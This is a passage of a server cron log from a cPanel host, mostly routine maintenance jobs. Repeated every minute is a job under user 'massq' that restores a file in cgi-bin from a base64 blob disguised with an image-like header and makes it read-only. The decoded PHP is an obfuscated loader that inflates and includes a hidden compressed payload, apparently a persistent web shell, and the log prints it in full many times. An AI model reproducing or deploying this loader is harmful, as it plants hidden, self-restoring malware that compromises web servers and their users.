"$fp"; fi; chmod 444 "$fp")
Aug 31 21:01:01 server run-parts(/etc/cron.hourly)[18690]: starting 0anacron
Aug 31 21:01:01 server run-parts(/etc/cron.hourly)[18710]: finished 0anacron
Aug 31 21:02:01 server CROND[19090]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:02:01 server CROND[19089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:02:01 server CROND[19091]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:03:01 server CROND[19478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:03:01 server CROND[19479]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:03:01 server CROND[19480]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:04:01 server CROND[19948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:04:01 server CROND[19949]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:04:01 server CROND[19950]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:05:01 server CROND[20389]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 21:05:01 server CROND[20390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:05:01 server CROND[20399]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 21:05:01 server CROND[20404]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:05:01 server CROND[20402]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 21:05:01 server CROND[20405]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 21:05:01 server CROND[20401]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:05:01 server CROND[20403]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 21:06:01 server CROND[21320]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:06:01 server CROND[21321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:06:01 server CROND[21322]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:07:01 server CROND[21695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:07:02 server CROND[21697]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:07:02 server CROND[21698]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:08:01 server CROND[22458]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:08:01 server CROND[22459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:08:01 server CROND[22460]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:09:01 server CROND[22971]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:09:01 server CROND[22972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:09:01 server CROND[22978]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:09:01 server CROND[22974]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 21:10:01 server CROND[23487]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 21:10:01 server CROND[23490]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:10:01 server CROND[23491]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 21:10:01 server CROND[23492]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 21:10:01 server CROND[23496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:10:01 server CROND[23497]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 21:10:01 server CROND[23494]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:10:01 server CROND[23495]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 21:11:01 server CROND[24417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:11:01 server CROND[24419]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:11:01 server CROND[24420]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:12:01 server CROND[24811]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:12:01 server CROND[24813]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 21:12:01 server CROND[24812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:12:01 server CROND[24814]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:13:01 server CROND[25189]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:13:01 server CROND[25190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:13:01 server CROND[25192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:14:01 server CROND[25607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:14:01 server CROND[25609]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
